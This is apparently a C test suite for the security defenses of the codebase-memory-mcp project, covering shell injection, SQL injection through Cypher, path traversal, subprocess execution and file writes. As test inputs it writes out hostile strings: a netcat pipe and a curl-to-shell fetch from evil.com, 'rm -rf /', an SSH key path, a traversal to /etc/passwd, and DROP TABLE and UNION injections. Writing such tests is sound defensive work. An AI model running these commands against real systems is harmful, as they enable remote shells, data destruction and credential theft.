Files
codebase-memory-mcp/tests/test_security.c
T
Andrew Hundt 59def6aaeb merge(upstream): integrate main through Laravel route fixes
Merge upstream/main at 2469ecc3 into integrate-upstream-split-search-tools while retaining branch-specific incremental indexing, MCP API consolidation, and graph extraction behavior.

The staged tree adds upstream's Mojo and Perl grammar support, issue reproduction suites, Graph UI changes, Windows smoke coverage, TOON graph output, subprocess supervision, and Laravel facade route handling. Conflict resolutions in src/pipeline/httplink.c and pass_httplinks.c retain dynamic growth and IMPORTS edge identity; scripts/smoke-test.sh and scripts/soak-test.sh retain hermetic cache isolation.

Validation against the merge plus the follow-up working-tree reconciliation: ASan/UBSan MCP suite 216/216 passed. Follow-up semantic and concurrency fixes remain intentionally unstaged for the next focused commit.
2026-07-14 01:47:43 -04:00

883 lines
33 KiB
C

/*
* test_security.c — Tests for security defenses.
*
* Verifies that the actual security mechanisms work end-to-end:
* - Shell injection prevention (cbm_validate_shell_arg)
* - SQLite authorizer (ATTACH/DETACH blocked)
* - Path containment (realpath prevents directory traversal)
*/
#include "test_framework.h"
#include "test_helpers.h"
#include <store/store.h>
#include <cypher/cypher.h>
#include "../src/foundation/str_util.h"
#include "../src/foundation/compat_fs.h"
#include "../src/foundation/compat_thread.h"
#ifdef _WIN32
#include "../src/foundation/compat_fs_internal.h"
#include "../src/foundation/win_utf8.h"
#include <winsock2.h> /* #798 follow-up: listening-socket isolation guard */
#include <windows.h>
#include <stdint.h>
#include <stdlib.h>
#include <wchar.h>
#endif
#include <string.h>
#include <sys/stat.h>
/* ══════════════════════════════════════════════════════════════════
* SHELL INJECTION PREVENTION
* ══════════════════════════════════════════════════════════════════ */
TEST(shell_rejects_single_quote) {
ASSERT_FALSE(cbm_validate_shell_arg("foo'bar"));
PASS();
}
TEST(shell_rejects_dollar_subst) {
ASSERT_FALSE(cbm_validate_shell_arg("$(whoami)"));
PASS();
}
TEST(shell_rejects_backtick) {
ASSERT_FALSE(cbm_validate_shell_arg("`id`"));
PASS();
}
TEST(shell_rejects_semicolon) {
ASSERT_FALSE(cbm_validate_shell_arg("foo;rm -rf /"));
PASS();
}
TEST(shell_rejects_pipe) {
ASSERT_FALSE(cbm_validate_shell_arg("foo|nc evil.com 4444"));
PASS();
}
TEST(shell_rejects_ampersand) {
ASSERT_FALSE(cbm_validate_shell_arg("foo&background"));
PASS();
}
TEST(shell_rejects_backslash) {
#ifdef _WIN32
/* Backslash is allowed on Windows (path separator) */
ASSERT_TRUE(cbm_validate_shell_arg("foo\\bar"));
#else
ASSERT_FALSE(cbm_validate_shell_arg("foo\\bar"));
#endif
PASS();
}
TEST(shell_rejects_newline) {
ASSERT_FALSE(cbm_validate_shell_arg("foo\nbar"));
PASS();
}
TEST(shell_rejects_carriage_return) {
ASSERT_FALSE(cbm_validate_shell_arg("foo\rbar"));
PASS();
}
TEST(shell_rejects_null) {
ASSERT_FALSE(cbm_validate_shell_arg(NULL));
PASS();
}
TEST(shell_rejects_double_quote) {
/* On Windows, the search code path wraps args in cmd.exe-level
* "powershell -Command \"...'%s'...\"". A " in the input would close
* the cmd.exe outer quote. Block unconditionally. */
ASSERT_FALSE(cbm_validate_shell_arg("foo\"bar"));
PASS();
}
TEST(shell_rejects_redirect_out) {
ASSERT_FALSE(cbm_validate_shell_arg("foo>out.txt"));
PASS();
}
TEST(shell_rejects_redirect_in) {
ASSERT_FALSE(cbm_validate_shell_arg("foo<in.txt"));
PASS();
}
TEST(shell_accepts_clean_path) {
ASSERT_TRUE(cbm_validate_shell_arg("/home/user/.local/bin/codebase-memory-mcp"));
PASS();
}
TEST(shell_accepts_spaces) {
ASSERT_TRUE(cbm_validate_shell_arg("/Users/John Doe/Documents"));
PASS();
}
TEST(shell_accepts_dots_dashes) {
ASSERT_TRUE(cbm_validate_shell_arg("file-name.tar.gz"));
PASS();
}
TEST(shell_accepts_empty) {
ASSERT_TRUE(cbm_validate_shell_arg(""));
PASS();
}
/* Combined attack vectors */
TEST(shell_rejects_quote_escape_attack) {
/* Attacker tries: ' ; rm -rf / ; echo ' */
ASSERT_FALSE(cbm_validate_shell_arg("' ; rm -rf / ; echo '"));
PASS();
}
TEST(shell_rejects_command_substitution) {
ASSERT_FALSE(cbm_validate_shell_arg("$(curl http://evil.com/shell.sh | sh)"));
PASS();
}
TEST(shell_rejects_env_var_expansion) {
ASSERT_FALSE(cbm_validate_shell_arg("${HOME}/.ssh/id_rsa"));
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* SQLITE AUTHORIZER (ATTACH/DETACH BLOCKED)
* ══════════════════════════════════════════════════════════════════ */
TEST(sqlite_blocks_attach_via_cypher) {
/* The Cypher engine translates queries to SQL. Even if someone crafts
* a Cypher query that somehow produces ATTACH, the SQLite authorizer
* should deny it. We test by using raw SQL through the store. */
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
/* Try ATTACH via Cypher — should fail at parse or authorizer level */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r);
/* Valid query works */
ASSERT_EQ(rc, 0);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_blocks_attach_direct) {
/* Directly test that the store's SQLite authorizer blocks ATTACH.
* cbm_store_exec_raw() would be ideal but the store is opaque.
* Instead, try a Cypher query that would generate ATTACH-like SQL.
* The Cypher parser rejects non-Cypher syntax, so ATTACH never reaches
* SQLite — this is defense in depth (parser + authorizer). */
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
/* Cypher parser should reject this as invalid syntax */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "ATTACH DATABASE '/tmp/evil.db' AS evil", "test", 0, &r);
ASSERT_NEQ(rc, 0); /* Must fail — either parse error or authorizer deny */
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_blocks_detach_direct) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "DETACH DATABASE evil", "test", 0, &r);
ASSERT_NEQ(rc, 0); /* Must fail */
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
TEST(sqlite_allows_normal_queries) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
cbm_node_t n = {.project = "test",
.label = "Function",
.name = "hello",
.qualified_name = "test.hello",
.file_path = "main.c",
.start_line = 1,
.end_line = 5};
cbm_store_upsert_node(s, &n);
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "MATCH (f:Function) WHERE f.name = \"hello\" RETURN f", "test",
0, &r);
ASSERT_EQ(rc, 0);
ASSERT_EQ(r.row_count, 1);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* SQL INJECTION VIA CYPHER
* ══════════════════════════════════════════════════════════════════ */
TEST(cypher_rejects_sql_injection_in_string) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
/* Attempt SQL injection through a WHERE clause string value */
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(
s, "MATCH (n) WHERE n.name = \"x\\\"; DROP TABLE nodes; --\" RETURN n", "test", 0, &r);
/* Must either fail or return 0 rows — must NOT drop the table */
if (rc == 0) {
/* Query ran but should find nothing — verify nodes table still exists */
cbm_cypher_result_free(&r);
cbm_cypher_result_t r2 = {0};
int rc2 = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r2);
ASSERT_EQ(rc2, 0); /* Table must still exist */
cbm_cypher_result_free(&r2);
} else {
cbm_cypher_result_free(&r);
}
cbm_store_close(s);
PASS();
}
TEST(cypher_rejects_union_injection) {
cbm_store_t *s = cbm_store_open_memory();
ASSERT_NOT_NULL(s);
cbm_store_upsert_project(s, "test", "/tmp/test");
cbm_cypher_result_t r = {0};
int rc = cbm_cypher_execute(s, "MATCH (n) RETURN n UNION SELECT sql FROM sqlite_master", "test",
0, &r);
/* Cypher parser should reject UNION — it's not valid Cypher */
ASSERT_NEQ(rc, 0);
cbm_cypher_result_free(&r);
cbm_store_close(s);
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* PATH CONTAINMENT (POSIX only — realpath() not available on Windows)
* ══════════════════════════════════════════════════════════════════ */
#ifndef _WIN32
TEST(path_traversal_blocked) {
/* The get_code_snippet handler uses realpath() to verify that the
* resolved file path starts with the project root. We test this
* by calling the MCP handler with a traversal path. Since we can't
* easily call the MCP handler in a unit test, we verify the
* containment logic directly. */
char real_root[4096];
char real_file[4096];
/* /tmp is a real directory — create a temporary "project root" */
const char *root = "/tmp/cbm_security_test_root";
mkdir(root, 0755);
if (realpath(root, real_root)) {
/* Traversal attempt: ../../../etc/passwd relative to root */
char traversal[512];
snprintf(traversal, sizeof(traversal), "%s/../../../etc/passwd", root);
if (realpath(traversal, real_file)) {
/* Verify the resolved path does NOT start with root */
size_t root_len = strlen(real_root);
int contained = (strncmp(real_file, real_root, root_len) == 0 &&
(real_file[root_len] == '/' || real_file[root_len] == '\0'));
ASSERT_FALSE(contained);
}
/* If realpath fails, the file doesn't exist — also safe */
}
rmdir(root);
PASS();
}
TEST(path_within_root_allowed) {
char real_root[4096];
char real_file[4096];
const char *root = "/tmp";
if (realpath(root, real_root) && realpath("/tmp", real_file)) {
size_t root_len = strlen(real_root);
int contained = (strncmp(real_file, real_root, root_len) == 0 &&
(real_file[root_len] == '/' || real_file[root_len] == '\0'));
ASSERT_TRUE(contained);
}
PASS();
}
#endif /* _WIN32 — path containment */
/* ══════════════════════════════════════════════════════════════════
* SHELL-FREE SUBPROCESS EXECUTION (cbm_exec_no_shell)
*
* Replaces system() with fork()+execvp() to eliminate shell
* interpretation. Shell metacharacters in arguments are passed
* literally, not interpreted.
* ══════════════════════════════════════════════════════════════════ */
#ifndef _WIN32
TEST(exec_no_shell_true_returns_zero) {
/* "true" command always exits 0 */
const char *argv[] = {"true", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 0);
PASS();
}
TEST(exec_no_shell_false_returns_nonzero) {
/* "false" command always exits 1 */
const char *argv[] = {"false", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_NEQ(rc, 0);
PASS();
}
TEST(exec_no_shell_echo_with_metacharacters) {
/* Shell metacharacters must be passed literally, not interpreted.
* If shell interpretation occurred, $(whoami) would be expanded. */
const char *argv[] = {"echo", "$(whoami)", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 0); /* echo succeeds — prints literal "$(whoami)" */
PASS();
}
TEST(exec_no_shell_nonexistent_command) {
const char *argv[] = {"cbm_nonexistent_binary_12345", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_NEQ(rc, 0); /* must fail — binary doesn't exist */
PASS();
}
TEST(exec_no_shell_null_argv_returns_error) {
int rc = cbm_exec_no_shell(NULL);
ASSERT_NEQ(rc, 0);
PASS();
}
TEST(exec_no_shell_captures_exit_code) {
/* sh -c "exit 42" should return 42 */
const char *argv[] = {"sh", "-c", "exit 42", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 42);
PASS();
}
#else /* _WIN32 */
/* ──────────────────────────────────────────────────────────────────
* WINDOWS COMMAND-LINE QUOTING (cbm_build_cmdline)
*
* Regression guard for #697: cbm_exec_no_shell used _spawnvp, whose
* MinGW CRT did not quote arguments containing spaces. The taskkill
* filter "IMAGENAME eq codebase-memory-mcp.exe" was passed as three
* bare tokens, so taskkill printed
* ERROR: Invalid argument/option - 'eq'.
* on every install. cbm_build_cmdline now performs MSVC-convention
* quoting; these tests pin that behaviour so it cannot silently
* regress. The quoting is pure logic, so it runs deterministically in
* CI on the windows-latest test job.
* ────────────────────────────────────────────────────────────────── */
/* Assert that cbm_build_cmdline(argv) produces `expected` (wide). */
#define ASSERT_CMDLINE(argv, expected) \
do { \
wchar_t *_cl = cbm_build_cmdline(argv); \
ASSERT_NOT_NULL(_cl); \
if (wcscmp(_cl, (expected)) != 0) { \
free(_cl); \
FAIL("cbm_build_cmdline produced an unexpected command line"); \
} \
free(_cl); \
} while (0)
TEST(cmdline_taskkill_filter_is_single_quoted_token) {
/* The exact #697 regression: the filter value contains spaces and
* must survive as ONE quoted argument, not three bare words. */
const char *argv[] = {"taskkill", "/FI", "IMAGENAME eq codebase-memory-mcp.exe", NULL};
ASSERT_CMDLINE(argv, L"taskkill /FI \"IMAGENAME eq codebase-memory-mcp.exe\"");
PASS();
}
TEST(cmdline_simple_args_are_not_quoted) {
/* Arguments with no spaces/tabs/quotes stay bare. */
const char *argv[] = {"foo", "bar", "baz", NULL};
ASSERT_CMDLINE(argv, L"foo bar baz");
PASS();
}
TEST(cmdline_single_arg_no_trailing_space) {
const char *argv[] = {"codebase-memory-mcp.exe", NULL};
ASSERT_CMDLINE(argv, L"codebase-memory-mcp.exe");
PASS();
}
TEST(cmdline_empty_arg_becomes_empty_quotes) {
/* An empty argument must be preserved as "" so argv positions line up. */
const char *argv[] = {"cmd", "", "tail", NULL};
ASSERT_CMDLINE(argv, L"cmd \"\" tail");
PASS();
}
TEST(cmdline_embedded_quote_is_escaped) {
/* A literal double-quote is escaped as \" inside the quoted token. */
const char *argv[] = {"echo", "a\"b", NULL};
ASSERT_CMDLINE(argv, L"echo \"a\\\"b\"");
PASS();
}
TEST(cmdline_trailing_backslashes_doubled_before_close_quote) {
/* Per the MSVC convention, backslashes immediately before the closing
* quote are doubled so the quote is not accidentally escaped. The arg
* `C:\dir with space\` becomes "C:\dir with space\\". */
const char *argv[] = {"type", "C:\\dir with space\\", NULL};
ASSERT_CMDLINE(argv, L"type \"C:\\dir with space\\\\\"");
PASS();
}
TEST(cmdline_null_argv_returns_null) {
/* Defensive: builder over an empty argv still yields a valid (empty)
* string rather than crashing. */
const char *argv[] = {NULL};
wchar_t *cl = cbm_build_cmdline(argv);
ASSERT_NOT_NULL(cl);
ASSERT_EQ((int)wcslen(cl), 0);
free(cl);
PASS();
}
TEST(cmdline_utf8_arg_is_widened_not_latin1) {
/* A non-ASCII argument (e.g. a destination under a non-ASCII
* %USERPROFILE%) must be decoded as UTF-8, not byte-widened as
* Latin-1. Here "caf\xc3\xa9 dir" is UTF-8 for "café dir": the two
* bytes C3 A9 must collapse to the single wide code point U+00E9,
* not survive as U+00C3 U+00A9. The embedded space also forces
* quoting, so this pins both quoting and correct widening at once. */
const char *argv[] = {"cd", "caf\xc3\xa9 dir", NULL};
const wchar_t expected[] = {L'c', L'd', L' ', L'"', L'c', L'a', L'f',
0x00E9, L' ', L'd', L'i', L'r', L'"', L'\0'};
ASSERT_CMDLINE(argv, expected);
PASS();
}
TEST(cmdline_utf8_multibyte_roundtrips_via_utf8_to_wide) {
/* Round-trip guard across wider multibyte shapes: 2-byte umlauts
* (U+00E4, U+00FC) and 3-byte CJK (U+4E16, U+754C). The argument
* "t\xc3\xa4st_\xc3\xbcmlaut \xe4\xb8\x96\xe7\x95\x8c" is UTF-8 for
* "täst_ümlaut 世界"; its space forces quoting. The built command
* line must equal cbm_utf8_to_wide applied to the same fully-quoted
* UTF-8 command line — under Latin-1 byte-widening every UTF-8 byte
* would surface as its own bogus code point and the compare fails. */
const char *argv[] = {"echo", "t\xc3\xa4st_\xc3\xbcmlaut \xe4\xb8\x96\xe7\x95\x8c", NULL};
wchar_t *expected =
cbm_utf8_to_wide("echo \"t\xc3\xa4st_\xc3\xbcmlaut \xe4\xb8\x96\xe7\x95\x8c\"");
wchar_t *actual = cbm_build_cmdline(argv);
int ok = (expected != NULL && actual != NULL && wcscmp(actual, expected) == 0);
free(expected);
free(actual);
if (!ok) {
FAIL("multibyte UTF-8 arg did not round-trip through cbm_build_cmdline");
}
PASS();
}
#undef ASSERT_CMDLINE
/* ──────────────────────────────────────────────────────────────────
* WINDOWS SHELL-FREE EXECUTION (cbm_exec_no_shell, CreateProcessW path)
*
* Exercises the live CreateProcessW code path end-to-end via cmd.exe so
* the Windows spawn path is not left entirely uncovered by CI.
* ────────────────────────────────────────────────────────────────── */
TEST(exec_no_shell_win_exit_zero) {
const char *argv[] = {"cmd", "/c", "exit 0", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 0);
PASS();
}
TEST(exec_no_shell_win_captures_exit_code) {
const char *argv[] = {"cmd", "/c", "exit 42", NULL};
int rc = cbm_exec_no_shell(argv);
ASSERT_EQ(rc, 42);
PASS();
}
TEST(exec_no_shell_win_null_argv_returns_error) {
int rc = cbm_exec_no_shell(NULL);
ASSERT_NEQ(rc, 0);
PASS();
}
/* ──────────────────────────────────────────────────────────────────
* WINDOWS ISOLATED POPEN (handle-inheritance fix for #798)
*
* Regression guard for the UI hang: _popen spawns children with
* bInheritHandles=TRUE, leaking every inheritable handle (listening
* sockets, Winsock/AFD helpers) into git-for-Windows, whose MSYS2
* runtime hangs classifying them via NtQueryObject. cbm_popen must
* instead spawn via CreateProcessW + PROC_THREAD_ATTRIBUTE_HANDLE_LIST.
*
* On windows-latest CI (real git-for-Windows) these prove:
* - the returned stream came from the isolated spawn, not _popen
* (cbm_popen_last_was_isolated test hook) — a revert to raw _popen
* turns the hook 0 and fails the guard;
* - stdout and the child exit code round-trip through
* cbm_popen/cbm_pclose.
* NOT proven here: the full UI repro (listening socket + MSYS2 handle
* walk under a single-threaded server) — follow-up harness.
* ────────────────────────────────────────────────────────────────── */
TEST(popen_isolated_git_version_round_trip) {
FILE *fp = cbm_popen("git --version", "r");
ASSERT_NOT_NULL(fp);
ASSERT_EQ(cbm_popen_last_was_isolated(), 1);
char line[256];
line[0] = '\0';
ASSERT_NOT_NULL(fgets(line, sizeof(line), fp));
ASSERT(strncmp(line, "git version", strlen("git version")) == 0);
ASSERT_EQ(cbm_pclose(fp), 0);
PASS();
}
TEST(popen_isolated_propagates_exit_code) {
/* Runs under `cmd.exe /c`, so a bare `exit 7` is the child exit code;
* cbm_pclose must surface it via GetExitCodeProcess. */
FILE *fp = cbm_popen("exit 7", "r");
ASSERT_NOT_NULL(fp);
ASSERT_EQ(cbm_popen_last_was_isolated(), 1);
ASSERT_EQ(cbm_pclose(fp), 7);
PASS();
}
/* #798 follow-up (the full-repro gap flagged above): prove the EXACT handle class
* that deadlocked git — an inheritable AFD/listening-socket handle, the kind the
* UI HTTP server holds — does NOT cross into the cbm_popen child. Unlike the
* git-version round-trip, this is deterministic on ANY Windows and does not depend
* on the MSYS2 git build reproducing the NtQueryObject hang.
*
* We open a real listening socket, mark it inheritable, then spawn THIS test
* binary through cbm_popen (a cmd.exe grandchild — exactly git's spawn shape) in
* `__cbm_sockprobe` mode, passing the socket's numeric handle value. The child
* reports via exit code whether that handle is a live socket in its address space:
* - isolated spawn (the fix): cmd.exe inherits only {pipe, NUL}, the socket is
* absent, getsockopt fails → child exit 0 → GREEN.
* - raw _popen (regression): bInheritHandles=TRUE leaks the socket transitively
* through cmd.exe into the child, getsockopt succeeds → child exit 42 → RED.
* Verified RED with a local _popen revert, GREEN with the isolated spawn. */
TEST(popen_isolates_listening_socket) {
WSADATA wsa;
ASSERT_EQ(WSAStartup(MAKEWORD(2, 2), &wsa), 0);
SOCKET ls = socket(AF_INET, SOCK_STREAM, 0);
ASSERT(ls != INVALID_SOCKET);
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(0x7F000001); /* 127.0.0.1 */
addr.sin_port = 0; /* ephemeral */
ASSERT_EQ(bind(ls, (struct sockaddr *)&addr, sizeof(addr)), 0);
ASSERT_EQ(listen(ls, 1), 0);
/* Winsock sockets are inheritable by default; make it explicit so a _popen
* regression is guaranteed to leak it (and this test to go RED). */
ASSERT(SetHandleInformation((HANDLE)ls, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT));
char self[MAX_PATH];
ASSERT(GetModuleFileNameA(NULL, self, sizeof(self)) > 0);
char cmd[MAX_PATH + 64];
snprintf(cmd, sizeof(cmd), "\"%s\" __cbm_sockprobe %llu", self,
(unsigned long long)(uintptr_t)ls);
FILE *fp = cbm_popen(cmd, "r");
ASSERT_NOT_NULL(fp);
ASSERT_EQ(cbm_popen_last_was_isolated(), 1);
char drain[128];
while (fgets(drain, sizeof(drain), fp)) {
/* the probe writes nothing to stdout, but drain to a clean EOF */
}
int rc = cbm_pclose(fp);
closesocket(ls);
WSACleanup();
ASSERT_EQ(rc, 0); /* 0 = socket isolated from child; 42 = leaked (regression) */
PASS();
}
#endif /* _WIN32 */
/* ══════════════════════════════════════════════════════════════════
* PORTABLE FILE REPLACEMENT
* ══════════════════════════════════════════════════════════════════ */
TEST(compat_replace_file_replaces_destination) {
char *dir = th_mktempdir("cbm_replace_file");
ASSERT_NOT_NULL(dir);
char root[256];
snprintf(root, sizeof(root), "%s", dir);
const char *dest = TH_PATH(root, "target.txt");
const char *tmp = TH_PATH(root, "target.txt.tmp");
ASSERT_EQ(th_write_file(dest, "old"), 0);
ASSERT_EQ(th_write_file(tmp, "new"), 0);
ASSERT_EQ(cbm_replace_file(tmp, dest), 0);
FILE *fp = fopen(dest, "rb");
ASSERT_NOT_NULL(fp);
char buf[8] = {0};
size_t n = fread(buf, 1, sizeof(buf) - 1, fp);
fclose(fp);
ASSERT_EQ((int)n, 3);
ASSERT_STR_EQ(buf, "new");
struct stat st;
ASSERT_NEQ(stat(tmp, &st), 0);
th_cleanup(root);
PASS();
}
TEST(compat_move_file_no_replace_preserves_existing_destination) {
char *dir = th_mktempdir("cbm_move_file_no_replace");
ASSERT_NOT_NULL(dir);
char root[256];
snprintf(root, sizeof(root), "%s", dir);
const char *dest = TH_PATH(root, "target.txt");
const char *src = TH_PATH(root, "source.txt");
ASSERT_EQ(th_write_file(dest, "old"), 0);
ASSERT_EQ(th_write_file(src, "new"), 0);
ASSERT_NEQ(cbm_move_file_no_replace(src, dest), 0);
FILE *fp = fopen(dest, "rb");
ASSERT_NOT_NULL(fp);
char buf[8] = {0};
size_t n = fread(buf, 1, sizeof(buf) - 1, fp);
fclose(fp);
ASSERT_EQ((int)n, 3);
ASSERT_STR_EQ(buf, "old");
struct stat st;
ASSERT_EQ(stat(src, &st), 0);
th_cleanup(root);
PASS();
}
TEST(compat_move_file_no_replace_moves_when_destination_missing) {
char *dir = th_mktempdir("cbm_move_file_no_replace_ok");
ASSERT_NOT_NULL(dir);
char root[256];
snprintf(root, sizeof(root), "%s", dir);
const char *dest = TH_PATH(root, "target.txt");
const char *src = TH_PATH(root, "source.txt");
ASSERT_EQ(th_write_file(src, "new"), 0);
ASSERT_EQ(cbm_move_file_no_replace(src, dest), 0);
FILE *fp = fopen(dest, "rb");
ASSERT_NOT_NULL(fp);
char buf[8] = {0};
size_t n = fread(buf, 1, sizeof(buf) - 1, fp);
fclose(fp);
ASSERT_EQ((int)n, 3);
ASSERT_STR_EQ(buf, "new");
struct stat st;
ASSERT_NEQ(stat(src, &st), 0);
th_cleanup(root);
PASS();
}
TEST(compat_write_file_atomic_replaces_destination) {
char *dir = th_mktempdir("cbm_write_file_atomic");
ASSERT_NOT_NULL(dir);
char root[256];
snprintf(root, sizeof(root), "%s", dir);
const char *dest = TH_PATH(root, "payload.bin");
ASSERT_EQ(th_write_file(dest, "old"), 0);
cbm_atomic_file_error_t err = {0};
ASSERT_EQ(cbm_write_file_atomic(dest, "new", 3, &err), 0);
ASSERT_NULL(err.stage);
ASSERT_EQ(err.code, 0);
FILE *fp = fopen(dest, "rb");
ASSERT_NOT_NULL(fp);
char buf[8] = {0};
size_t n = fread(buf, 1, sizeof(buf) - 1, fp);
fclose(fp);
ASSERT_EQ((int)n, 3);
ASSERT_STR_EQ(buf, "new");
struct stat st;
ASSERT_NEQ(stat(TH_PATH(root, "payload.bin.tmp"), &st), 0);
th_cleanup(root);
PASS();
}
TEST(compat_write_file_atomic_reports_replace_failure) {
char *dir = th_mktempdir("cbm_write_file_atomic_fail");
ASSERT_NOT_NULL(dir);
char root[256];
snprintf(root, sizeof(root), "%s", dir);
const char *dest = TH_PATH(root, "target.txt");
ASSERT_TRUE(cbm_mkdir_p(dest, 0755));
cbm_atomic_file_error_t err = {0};
ASSERT_NEQ(cbm_write_file_atomic(dest, "new", 3, &err), 0);
ASSERT_NOT_NULL(err.stage);
ASSERT_STR_EQ(err.stage, "rename_temp");
ASSERT_NEQ(err.code, 0);
th_cleanup(root);
PASS();
}
enum { ATOMIC_CONCURRENT_WRITES = 64 };
typedef struct {
const char *dest;
const char *payload;
int failures;
} atomic_writer_arg_t;
static void *atomic_writer_thread(void *arg) {
atomic_writer_arg_t *wa = (atomic_writer_arg_t *)arg;
size_t len = strlen(wa->payload);
for (int i = 0; i < ATOMIC_CONCURRENT_WRITES; i++) {
cbm_atomic_file_error_t err = {0};
if (cbm_write_file_atomic(wa->dest, wa->payload, len, &err) != 0) {
wa->failures++;
}
}
return NULL;
}
TEST(compat_write_file_atomic_concurrent_same_destination) {
char *dir = th_mktempdir("cbm_write_file_atomic_concurrent");
ASSERT_NOT_NULL(dir);
char root[256];
snprintf(root, sizeof(root), "%s", dir);
char dest[512];
snprintf(dest, sizeof(dest), "%s", TH_PATH(root, "payload.bin"));
ASSERT_EQ(th_write_file(dest, "initial"), 0);
atomic_writer_arg_t a = {.dest = dest, .payload = "alpha", .failures = 0};
atomic_writer_arg_t b = {.dest = dest, .payload = "bravo", .failures = 0};
cbm_thread_t ta, tb;
ASSERT_EQ(cbm_thread_create(&ta, 0, atomic_writer_thread, &a), 0);
ASSERT_EQ(cbm_thread_create(&tb, 0, atomic_writer_thread, &b), 0);
ASSERT_EQ(cbm_thread_join(&ta), 0);
ASSERT_EQ(cbm_thread_join(&tb), 0);
ASSERT_EQ(a.failures, 0);
ASSERT_EQ(b.failures, 0);
FILE *fp = fopen(dest, "rb");
ASSERT_NOT_NULL(fp);
char buf[16] = {0};
size_t n = fread(buf, 1, sizeof(buf) - 1, fp);
fclose(fp);
ASSERT_TRUE((n == strlen(a.payload) && strcmp(buf, a.payload) == 0) ||
(n == strlen(b.payload) && strcmp(buf, b.payload) == 0));
th_cleanup(root);
PASS();
}
/* ══════════════════════════════════════════════════════════════════
* SUITE
* ══════════════════════════════════════════════════════════════════ */
SUITE(security) {
/* Shell injection prevention */
RUN_TEST(shell_rejects_single_quote);
RUN_TEST(shell_rejects_dollar_subst);
RUN_TEST(shell_rejects_backtick);
RUN_TEST(shell_rejects_semicolon);
RUN_TEST(shell_rejects_pipe);
RUN_TEST(shell_rejects_ampersand);
RUN_TEST(shell_rejects_backslash);
RUN_TEST(shell_rejects_newline);
RUN_TEST(shell_rejects_carriage_return);
RUN_TEST(shell_rejects_null);
RUN_TEST(shell_rejects_double_quote);
RUN_TEST(shell_rejects_redirect_out);
RUN_TEST(shell_rejects_redirect_in);
RUN_TEST(shell_accepts_clean_path);
RUN_TEST(shell_accepts_spaces);
RUN_TEST(shell_accepts_dots_dashes);
RUN_TEST(shell_accepts_empty);
RUN_TEST(shell_rejects_quote_escape_attack);
RUN_TEST(shell_rejects_command_substitution);
RUN_TEST(shell_rejects_env_var_expansion);
/* SQLite authorizer */
RUN_TEST(sqlite_blocks_attach_via_cypher);
RUN_TEST(sqlite_blocks_attach_direct);
RUN_TEST(sqlite_blocks_detach_direct);
RUN_TEST(sqlite_allows_normal_queries);
/* SQL injection via Cypher */
RUN_TEST(cypher_rejects_sql_injection_in_string);
RUN_TEST(cypher_rejects_union_injection);
/* Path containment (POSIX only) */
#ifndef _WIN32
RUN_TEST(path_traversal_blocked);
RUN_TEST(path_within_root_allowed);
#endif
#ifndef _WIN32
/* Shell-free subprocess execution */
RUN_TEST(exec_no_shell_true_returns_zero);
RUN_TEST(exec_no_shell_false_returns_nonzero);
RUN_TEST(exec_no_shell_echo_with_metacharacters);
RUN_TEST(exec_no_shell_nonexistent_command);
RUN_TEST(exec_no_shell_null_argv_returns_error);
RUN_TEST(exec_no_shell_captures_exit_code);
#else
/* Windows command-line quoting (regression guard for #697) */
RUN_TEST(cmdline_taskkill_filter_is_single_quoted_token);
RUN_TEST(cmdline_simple_args_are_not_quoted);
RUN_TEST(cmdline_single_arg_no_trailing_space);
RUN_TEST(cmdline_empty_arg_becomes_empty_quotes);
RUN_TEST(cmdline_embedded_quote_is_escaped);
RUN_TEST(cmdline_trailing_backslashes_doubled_before_close_quote);
RUN_TEST(cmdline_null_argv_returns_null);
RUN_TEST(cmdline_utf8_arg_is_widened_not_latin1);
RUN_TEST(cmdline_utf8_multibyte_roundtrips_via_utf8_to_wide);
/* Live CreateProcessW spawn path */
RUN_TEST(exec_no_shell_win_exit_zero);
RUN_TEST(exec_no_shell_win_captures_exit_code);
RUN_TEST(exec_no_shell_win_null_argv_returns_error);
/* Isolated popen — handle-inheritance regression guard for #798 */
RUN_TEST(popen_isolated_git_version_round_trip);
RUN_TEST(popen_isolated_propagates_exit_code);
RUN_TEST(popen_isolates_listening_socket);
#endif
RUN_TEST(compat_replace_file_replaces_destination);
RUN_TEST(compat_move_file_no_replace_preserves_existing_destination);
RUN_TEST(compat_move_file_no_replace_moves_when_destination_missing);
RUN_TEST(compat_write_file_atomic_replaces_destination);
RUN_TEST(compat_write_file_atomic_reports_replace_failure);
RUN_TEST(compat_write_file_atomic_concurrent_same_destination);
}